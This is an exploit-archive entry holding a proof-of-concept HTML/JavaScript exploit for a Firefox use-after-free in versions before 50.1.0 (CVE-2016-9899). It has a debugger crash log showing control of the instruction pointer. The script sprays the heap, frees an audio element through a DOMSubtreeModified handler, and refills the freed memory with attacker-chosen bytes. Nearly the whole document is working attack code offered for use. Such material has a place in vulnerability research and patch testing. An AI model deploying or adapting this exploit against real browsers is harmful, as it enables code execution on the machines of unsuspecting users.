Mozilla Firefox Use-After-Free

Mozilla Firefox versions prior to 50.1.0 use-after proof of concept exploit.


MD5 | 573f5c94d377121938a2ad14e8d42f44

<!DOCTYPE html>
<html>
<head>
<!-- <meta http-equiv="refresh" content="1"/> -->
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta http-equiv="Expires" content="0" />
<meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" />
<meta http-equiv="Cache-Control" content="post-check=0, pre-check=0" />
<meta http-equiv="Pragma" content="no-cache" />
<style type="text/css">
body{
background-color:lime;
font-color:red;
};
</style>
<script type='text/javascript'></script>
<script type="text/javascript" language="JavaScript">

/*
* Mozilla Firefox < 50.1.0 Use-After-Free POC
* Author: Marcin Ressel
* Date: 13.01.2017
* Vendor Homepage: www.mozilla.org
* Software Link: https://ftp.mozilla.org/pub/firefox/releases/50.0.2/
* Version: < 50.1.0
* Tested on: Windows 7 (x64) Firefox 32 && 64 bit
* CVE: CVE-2016-9899
*************************************************
* (b1c.5e0): Access violation - code c0000005 (first chance)
* First chance exceptions are reported before any exception handling.
* This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Mozilla Firefox\xul.dll -
* eax=0f804c00 ebx=00000000 ecx=003be0c8 edx=4543484f esi=003be0e4 edi=06c71580
* eip=6d7cc44c esp=003be0b8 ebp=003be0cc iopl=0 nv up ei pl nz na pe nc
* cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
* xul!mozilla::net::LoadInfo::AddRef+0x3dd41:
* 6d7cc44c ff12 call dword ptr [edx] ds:002b:4543484f=????????
* 0:000> dd eax
* 0f804c00 4543484f 91919191 91919191 91919191
* 0f804c10 91919191 91919191 91919191 91919191
* 0f804c20 91919191 91919191 91919191 91919191
* 0f804c30 91919191 91919191 91919191 91919191
* 0f804c40 91919191 91919191 91919191 91919191
* 0f804c50 91919191 91919191 91919191 91919191
* 0f804c60 91919191 91919191 91919191 91919191
* 0f804c70 91919191 91919191 91919191 91919191
*
*/
var doc = null;
var cnt = 0;

function m(blocks,size) {
var arr = [];
for(var i=0;i<blocks;i++) {
arr[i] = new Array(size);
for(var j=0;j<size;j+=2) {
arr[i][j] = 0x41414141;
arr[i][j+1] = 0x42424242;
}
}
return arr;
}

function handler() { //free
if(cnt > 0) return;
doc.body.appendChild(document.createElement("audio")).remove();
m(1024,1024);
++cnt;
}

function trigger() {
if(cnt > 0) {
var pl = new Array();
doc.getElementsByTagName("*")[0].removeEventListener("DOMSubtreeModified",handler,false);
for(var i=0;i<4096;i++) { //replace
pl[i]=new Uint8Array(1000);
pl[i][0] = 0x4F;
pl[i][1] = 0x48;
pl[i][2] = 0x43;
pl[i][3] = 0x45; //eip
for(var j=4;j<(1000) - 4;j++) pl[i][j] = 0x91;
// pl[i] = document.createElement('media');
//document.body.appendChild(pl[i]);
}
window.pl = pl
document.getElementById("t1").remove(); //re-use
}
}

function testcase()
{
var df = m(4096,1000);
document.body.setAttribute('df',df);
doc = document.getElementById("t1").contentWindow.document;
doc.getElementsByTagName("*")[0].addEventListener("DOMSubtreeModified",handler,false);
doc.getElementsByTagName("*")[0].style = "ANNNY";
setInterval("trigger();",1000);

}
</script>
<title>Firefox < 50.1.0 Use After Free (CVE-2016-9899) </title>
</head>
<body onload='testcase();'>
<iframe src='about:blank' id='t1' width="100%"></iframe>
</body>
</html>


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